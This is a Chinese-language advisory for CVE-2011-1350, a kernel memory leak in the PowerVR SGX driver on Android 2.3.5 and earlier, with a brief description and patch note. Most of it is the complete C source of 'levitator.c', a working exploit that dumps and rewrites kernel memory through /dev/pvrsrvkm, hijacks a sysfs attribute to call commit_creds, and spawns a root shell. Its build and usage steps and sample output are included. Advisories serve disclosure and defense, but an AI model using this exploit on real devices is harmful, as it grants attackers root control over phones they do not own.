发布日期：2011-11-03
更新日期：2013-03-07

受影响系统：

Android Open Handset Alliance Android <= 2.3.5

描述：

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BUGTRAQ  ID: 57900
CVE(CAN) ID: CVE-2011-1350

Android是基于Linux开放性内核的操作系统，是Google公司在2007年11月5日公布的手机操作系统。

Android 2.3.5 及之前版本内的PowerVR SGX驱动程序允许攻击者获取内核栈内存敏感信息，受害者打开恶意Android应用后，其中含有特制长度参数的pvrsrvkm设备请求可造成敏感信息泄露。

<*来源：Geremy Condra
  
  链接：https://code.google.com/p/android/issues/detail?id=21522
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*
* levitator.c
*
* Android < 2.3.6 PowerVR SGX Privilege Escalation Exploit
* Jon Larimer <jlarimer@gmail.com>
* Jon Oberheide <jon@oberheide.org>
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1352
*
*   CVE-2011-1352 is a kernel memory corruption vulnerability that can lead
*   to privilege escalation. Any user with access to /dev/pvrsrvkm can use
*   this bug to obtain root privileges on an affected device.
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1350
*
*   CVE-2011-1350 allows leaking a portion of kernel memory to user mode
*   processes. This vulnerability exists because of improper bounds checking
*   when returning data to user mode from an ioctl system call.
*
* Usage:
*
*   $ CC="/path/to/arm-linux-androideabi-gcc"
*   $ NDK="/path/to/ndk/arch-arm"
*   $ CFLAGS="-I$NDK/usr/include/"
*   $ LDFLAGS="-Wl,-rpath-link=$NDK/usr/lib -L$NDK/usr/lib -nostdlib $NDK/usr/lib/crtbegin_dynamic.o -lc"
*   $ $CC -o levitator levitator.c $CFLAGS $LDFLAGS
*   $ adb push levitator /data/local/tmp/
*   $ adb shell
*   $ cd /data/local/tmp
*   $ ./levitator
*   [+] looking for symbols...
*   [+] resolved symbol commit_creds to 0xc00770dc
*   [+] resolved symbol prepare_kernel_cred to 0xc0076f64
*   [+] resolved symbol dev_attr_ro to 0xc05a5834
*   [+] opening prvsrvkm device...
*   [+] dumping kernel memory...
*   [+] searching kmem for dev_attr_ro pointers...
*   [+] poisoned 16 dev_attr_ro pointers with fake_dev_attr_ro!
*   [+] clobbering kmem with poisoned pointers...
*   [+] triggering privesc via block ro sysfs attribute...
*   [+] restoring original dev_attr_ro pointers...
*   [+] restored 16 dev_attr_ro pointers!
*   [+] privileges escalated, enjoy your shell!
*   # id
*   uid=0(root) gid=0(root)
*
*   Notes:
*
*     The vulnerability affects Android devices with the PowerVR SGX chipset
*     which includes popular models like the Nexus S and Galaxy S series. The
*     vulnerability was patched in the Android 2.3.6 OTA update.
*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define CONNECT_SERVICES 0xc01c670c
#define DUMP_SIZE        161920

typedef struct {
    uint32_t ui32BridgeID;
    uint32_t ui32Size;
    void *pvParamIn;
    uint32_t ui32InBufferSize;
    void *pvParamOut;
    uint32_t ui32OutBufferSize;
    void * hKernelServices;
} PVRSRV_BRIDGE_PACKAGE;

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

ssize_t
fake_disk_ro_show(void *dev, void *attr, char *buf)
{
    commit_creds(prepare_kernel_cred(0));
    return sprintf(buf, "0wned\n");
}

struct attribute {
    const char *name;
    void *owner;
    mode_t mode;
};

struct device_attribute {
    struct attribute attr;
    ssize_t (*show)(void *dev, void *attr, char *buf);
    ssize_t (*store)(void *dev, void *attr, const char *buf, size_t count);
};

struct device_attribute fake_dev_attr_ro = {
    .attr    = {
        .name = "ro",
        .mode = S_IRWXU | S_IRWXG | S_IRWXO,
    },
    .show = fake_disk_ro_show,
    .store = NULL,
};

unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sname[512];
    int ret = 0;

    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        return 0;
    }

    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
            return addr;
        }
    }

    return 0;
}

int
do_ioctl(int fd, void *in, unsigned int in_size, void *out, unsigned int out_size)
{
    PVRSRV_BRIDGE_PACKAGE pkg;

    memset(&pkg, 0, sizeof(pkg));

    pkg.ui32BridgeID = CONNECT_SERVICES;
    pkg.ui32Size = sizeof(pkg);
    pkg.ui32InBufferSize = in_size;
    pkg.pvParamIn = in;
    pkg.ui32OutBufferSize = out_size;
    pkg.pvParamOut = out;

    return ioctl(fd, 0, &pkg);
}

int
main(int argc, char **argv)
{
    DIR *dir;
    struct dirent *dentry;
    int fd, ret, found, trigger;
    char *dump, *dump_end, buf[8], path[256];
    unsigned long dev_attr_ro, *ptr;

    printf("[+] looking for symbols...\n");

    commit_creds = (_commit_creds) get_symbol("commit_creds");
    if (!commit_creds) {
        printf("[-] commit_creds symbol not found, aborting!\n");
        exit(1);
    }

    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    if (!prepare_kernel_cred) {
        printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
        exit(1);
    }

    dev_attr_ro = get_symbol("dev_attr_ro");
    if (!dev_attr_ro) {
        printf("[-] dev_attr_ro symbol not found, aborting!\n");
        exit(1);
    }

    printf("[+] opening prvsrvkm device...\n");

    fd = open("/dev/pvrsrvkm", O_RDWR);
    if (fd == -1) {
        printf("[-] failed opening pvrsrvkm device, aborting!\n");
        exit(1);
    }

    printf("[+] dumping kernel memory...\n");

    dump = malloc(DUMP_SIZE + 0x1000);
    dump_end = dump + DUMP_SIZE + 0x1000;
    memset(dump, 0, DUMP_SIZE + 0x1000);

    ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
    if (ret == -1) {
        printf("[-] failed during ioctl, aborting!\n");
        exit(1);
    }

    printf("[+] searching kmem for dev_attr_ro pointers...\n");

    found = 0;
    for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
        if (*ptr == dev_attr_ro) {
            *ptr = (unsigned long) &fake_dev_attr_ro;
            found++;
        }
    }

    printf("[+] poisoned %d dev_attr_ro pointers with fake_dev_attr_ro!\n", found);

    if (found == 0) {
        printf("[-] could not find any dev_attr_ro ptrs, aborting!\n");
        exit(1);
    }

    printf("[+] clobbering kmem with poisoned pointers...\n");

    ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
    if (ret == -1) {
        printf("[-] failed during ioctl, aborting!\n");
        exit(1);
    }

    printf("[+] triggering privesc via block ro sysfs attribute...\n");

    dir = opendir("/sys/block");
    if (!dir) {
        printf("[-] failed opening /sys/block, aborting!\n");
        exit(1);
    }

    found = 0;
    while ((dentry = readdir(dir)) != NULL) {
        if (strcmp(dentry->d_name, ".") == 0 || strcmp(dentry->d_name, "..") == 0) {
            continue;
        }

        snprintf(path, sizeof(path), "/sys/block/%s/ro", dentry->d_name);

        trigger = open(path, O_RDONLY);
        if (trigger == -1) {
            printf("[-] failed opening ro sysfs attribute, aborting!\n");
            exit(1);
        }

        memset(buf, 0, sizeof(buf));
        ret = read(trigger, buf, sizeof(buf));
        close(trigger);

        if (strcmp(buf, "0wned\n") == 0) {
            found = 1;
            break;
        }
    }

    if (found == 0) {
        printf("[-] could not trigger privesc payload, aborting!\n");
        exit(1);
    }

    printf("[+] restoring original dev_attr_ro pointers...\n");

    ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
    if (ret == -1) {
        printf("[-] failed during ioctl, aborting!\n");
        exit(1);
    }

    found = 0;
    for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
        if (*ptr == (unsigned long) &fake_dev_attr_ro) {
            *ptr = (unsigned long) dev_attr_ro;
            found++;
        }
    }

    printf("[+] restored %d dev_attr_ro pointers!\n", found);

    if (found == 0) {
        printf("[-] could not restore any pointers, aborting!\n");
        exit(1);
    }

    ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
    if (ret == -1) {
        printf("[-] failed during ioctl, aborting!\n");
        exit(1);
    }

    if (getuid() != 0) {
        printf("[-] privileges not escalated, exploit failed!\n");
        exit(1);
    }

    printf("[+] privileges escalated, enjoy your shell!\n");

    execl("/system/bin/sh", "sh", NULL);

    return 0;
}

建议：

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厂商补丁：

Android
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.openhandsetalliance.com/android_overview.html

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